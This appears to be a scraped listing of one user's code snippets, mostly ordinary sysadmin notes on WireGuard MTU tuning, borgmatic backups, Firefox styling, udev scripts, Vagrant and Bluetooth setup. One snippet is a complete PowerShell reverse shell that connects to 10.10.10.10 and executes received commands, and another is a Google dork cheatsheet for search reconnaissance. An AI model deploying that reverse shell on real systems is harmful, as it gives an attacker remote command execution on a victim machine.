wynnchel

About

• I faced bandwidth issues between a WG Peer and a WG server. Download bandwidth when downloading from WG Server to WG peer was reduced significantly and upload bandwidth was practically non existent.
• I found a few reddit posts that said that we need to choose the right MTU. So I wrote a script to find an optimal MTU.
• Ideally I would have liked to have run all possible MTU configurations for both WG Server and WG Peer but for simplicity I choose to fix the WG Server to the original 1420 MTU and tried all MTUs from 1280 to 1500 for the WG Peer.

Testing

• On WG server, I started an iperf3 server
• On WG peer, I wrote a script that does the following:
  • wg-quick down wg0
• Edit MTU in the /etc/wireguard/wg0.conf file

wynnchel

# Where to look for files to backup, and where to store those backups. See
# https://borgbackup.readthedocs.io/en/stable/quickstart.html and
# https://borgbackup.readthedocs.io/en/stable/usage.html#borg-create for details.
location:
    # List of source directories to backup (required). Globs and tildes are expanded.
    source_directories:
        - /home
        - /etc
        - /var/log/syslog*

wynnchel

AddOn:

• https://addons.mozilla.org/en-US/firefox/addon/tree-style-tab/

1. Go to about:support in your address bar
2. Look for your profiles directory and open it:

3. Create a file named chrome/userChrome.css in your profile directory:

wynnchel

Google dork cheatsheet

Search filters

Filter	Description	Example
allintext	Searches for occurrences of all the keywords given.	allintext:"keyword"
intext	Searches for the occurrences of keywords all at once or one at a time.	intext:"keyword"
inurl	Searches for a URL matching one of the keywords.	inurl:"keyword"
allinurl	Searches for a URL matching all the keywords in the query.	allinurl:"keyword"
intitle	Searches for occurrences of keywords in title all or one.	intitle:"keyword"

wynnchel

# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html

$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

wynnchel

WireGuard Site-to-Site

Accessing a subnet that is behind a WireGuard client using a site-to-site setup

Problem Summary

We want to access a local subnet remotely, but it is behind a NAT firewall and we can't setup port forwarding. Outgoing connections work, but all incoming connections get DROPPED by the ISP's routing policy.

Solution Summary

wynnchel

#!/bin/bash
# Steps:
# 1) Make sure bash is available
# 2) Create udev rule
# - path to new udev rule: /etc/udev/rules.d/50-x-resize.rules
# - udev rule content: 
# ACTION=="change",KERNEL=="card0", SUBSYSTEM=="drm", RUN+="/usr/local/bin/x-resize" 
# 3) Create /var/log/autores directory
# 4) Create script /usr/local/bin/x-resize (this file) and make executable
# 5) Reload udev rules with `sudo udevadm control --reload-rules`

wynnchel

#!/usr/bin/env python

"""Simple HTTP Server With Upload.

This module builds on BaseHTTPServer by implementing the standard GET
and HEAD requests in a fairly straightforward manner.

"""

wynnchel

Vagrant.configure("2") do |config|
  config.vm.box = "ubuntu/bionic64"

  config.vm.provider :virtualbox do |v|
    v.gui = true
    v.memory = 2048
  end

  # Currently "ubuntu/bionic64" on VirtualBox requires `type: "virtualbox"`
  # to make synced folder works.

wynnchel

In order to work the Bose QC35 Headset Bluetooth do the following:

- sudo pacman -Syu  pulseaudio-alsa pulseaudio-bluetooth bluez bluez-libs bluez-utils
- turn off bluetooth from your computer
- sudo btmgmt ssp of
- gpasswd -a YOUR_USER lp